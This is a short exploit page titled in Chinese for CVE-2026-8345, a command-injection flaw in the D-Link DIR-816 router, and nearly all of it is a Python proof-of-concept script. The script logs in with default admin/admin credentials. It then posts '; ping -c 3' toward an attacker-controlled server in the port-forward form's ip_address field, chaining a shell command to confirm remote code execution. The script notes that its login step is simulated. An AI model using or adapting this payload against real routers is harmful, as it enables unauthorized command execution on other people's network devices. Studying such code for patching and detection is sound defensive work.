CVE-2026-8345 D-Link DIR-816 命令注入漏洞

import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/singlePortForward" username = "admin" password = "admin" # Attacker's controlled server for verification (e.g., Burp Collaborator or netcat listener) attacker_server = "192.168.1.100" # The payload injects a command to ping the attacker's server # Shell metacharacter ';' is used to chain commands injection_payload = f"; ping -c 3 {attacker_server}" # Prepare the data payload data = { "ip_address": injection_payload, # Other form fields might be required depending on the page structure # "internal_port": "80", # "external_port": "8080", # "protocol": "tcp" } # Create a session to handle authentication session = requests.Session() # Step 1: Login (Simulated, actual endpoint may vary) login_url = f"http://{target_ip}/login.asp" login_data = {"username": username, "password": password} try: login_response = session.post(login_url, data=login_data, timeout=5) if login_response.status_code == 200: print("[+] Login successful") except: print("[-] Login failed or endpoint incorrect") # Step 2: Send Exploit try: response = session.post(target_url, data=data, timeout=5) print(f"[+] Exploit sent. Status Code: {response.status_code}") print(f"[+] Check {attacker_server} for incoming ping requests to verify RCE.") except Exception as e: print(f"[-] Exploit failed: {e}")